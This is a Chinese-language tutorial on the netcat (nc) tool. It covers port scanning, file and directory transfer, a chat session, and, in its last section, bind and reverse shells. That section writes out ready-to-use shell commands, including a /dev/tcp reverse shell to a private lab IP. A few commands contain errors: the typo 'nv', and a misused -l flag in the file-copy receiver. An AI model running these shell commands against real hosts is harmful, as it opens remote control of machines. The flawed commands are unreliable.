当前位置: 首页 > news >正文

详解nc命令

原文地址: https://www.myjinji.top/articles/2021/03/13/1615638735341.html

nc(netcat),网络工具中的瑞士军刀。
Windows与Linux平台都有它的身影,因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。

0x01 端口扫描

nc -z -v -n 192.168.78.128 22
  • -z 表示为zero,意思是扫描时不发送任何数据包
  • -v 即为详细输出
  • -n 不使用dns反向查询ip地址域名

0x02 文件拷贝

很多时候我们都要在两个不同的终端间拷贝文件,虽然说有很多种方法,例如:FTP、Samba、Scp等等,但我们仅仅需要一次临时的快捷的连接,不仅要安装软件,还要进行登录操作,如果这样的话那么大部分的时间都会被浪费掉。
假设我们需要传输一个文件test.txt,通过主机A发送到主机B。

发送端(A):

nc -l 10000 < test.txt
  • -l 监听端口

通过nc的-l参数将主机A变为服务器,并重定向netcat的输入为文件test.txt,也就是我们想要传输的文件,那么当任何主机成功连接到该端口,netcat就会发送test.txt的文件内容。

接收端(B):

nc -l 192.168.78.128 10000 > test.txt
  • -n 不使用dns反向查询ip地址域名

使用nc命令连接主机A的10000端口,并将输出重定向到test.txt。这样,当主机B连接到主机A时,就会接收到A发来的文件内容,并保存的文件test.txt

反之也是如此,只不过将主机A与主机B的身份进行调换。顺带着,输入与输出重定向也要发生改变。

(接收端)A: nc -l 10000 > test.txt(发送端)B: nc -n 192.168.78.128 10000 < test.txt

0x03 传输目录

使用nc传输目录实际上和传输文件手法一样,只不过将目录打包为压缩文件,再使用nc将压缩文件传输过去,客户端接收后将接收到的压缩文件解压。

传输目录为test,其下有文件test.txttest2.txt
由主机A传输到主机B

发送方(A):

tar -zcvf - test | nc -l 10000
  • -z 使用gzip指令处理压缩文件
  • -c 创建新的压缩文件
  • -v 显示指令执行过程,即详细模式
  • -f 指定需要压缩的文件,即test文件夹

接收方(B):

nc 192.168.78.128 10000 | tar -zxvf -
  • -z 使用gzip指令处理压缩文件
  • -x 从压缩文件中解压文件
  • -v 详细模式
  • -f 指定压缩文件

- 代表linux中的标准输出流,将压缩后的文件直接输出到netcat中
发送端接收到通过netcat传输来的文件,再使用tar指令解压文件

0x04 在线聊天

通过netcat实现在线聊天室也需要C/S结构,服务端监听本地端口,客户端直接连接到远程服务器端口。

服务端:

nc -l -p 10000

客户端:

nc 192.168.78.128 10000
  • -l 监听模式
  • -p 指定本地端口,在实际应用中可以省略

0x05 反弹shell

要想使用netcat反弹shell,得保证目标服务器是Linux,例如Centos、Ubuntu。

正向反弹

目标主机作为服务器,监听本地端口,客户端连接。

服务器:

nv -lvvp 10000 -e /bin/bash
  • -l 监听模式
  • -vv 比-v更详细的输出
  • -p 设置本地端口
  • -e 绑定命令行

客户端:

nc 192.168.78.128 10000

反向反弹

反向反弹实际上就是将身份呼唤,由服务器去连接主机。

服务器:

bash -i >& /dev/tcp/192.168.78.128/10000 0>&1

需要先使用nc监听端口

bash -i会创建一个交互式的命令行(bash);
&>将bash的标准输出重定向至/dev/tcp/192.168.78.128/10000这个socket连接;
0>&1将标准输入重定向至标准输出,最终的结果就是标准输入也被重定向到TCP连接中,因此输入和输出都可以在客户端上进行,通过TCP连接和bash进行交互。

客户端:

nc -lvvp 10000
http://www.xdnf.cn/news/847837.html

相关文章:

  • 各种GAN原理总结及对比
  • Linux命令(11)之chown
  • 别再问别人了,这是小白都能懂的拓扑图指南
  • 「NTFS:让你的硬盘更安全、更高效!」NTFS文件系统详解,
  • iperf3主页官方信息
  • 快速排序的三种方式以及快排的优化
  • CTF-密码学基础
  • Sonar简介及使用
  • nslookup命令详解
  • 【JavaWeb】-- thymeleaf视图模板技术
  • Acwing - 算法基础课 - 笔记(动态规划 · 二)
  • burst什么意思_burst是什么意思_burst的用法
  • 深入探讨Samba服务器的配置与使用
  • Linux基础命令:tar压缩命令
  • 10.Python从入门到精通—Python 列表,列表脚本操作符,列表截取,列表函数方法
  • 干货!一文读懂10种主流的图片格式
  • hint详解
  • 什么是AOI?
  • 国产化操作系统都有哪些?如何选择?
  • 【网络协议 02】ICMP协议报文
  • acl是什么
  • Qemu架构解析(二),涨知识
  • 字符串的全面解析
  • shiro(一):shiro基本概念及基本使用(认证、授权)
  • 手把手教你安装Kali Linux
  • PaddleOCR 的使用,极简介绍
  • 颜色代码对照表
  • 单点登录(SSO)看这一篇就够了
  • JAR 文件规范详解
  • NSFW检测 (色情检测)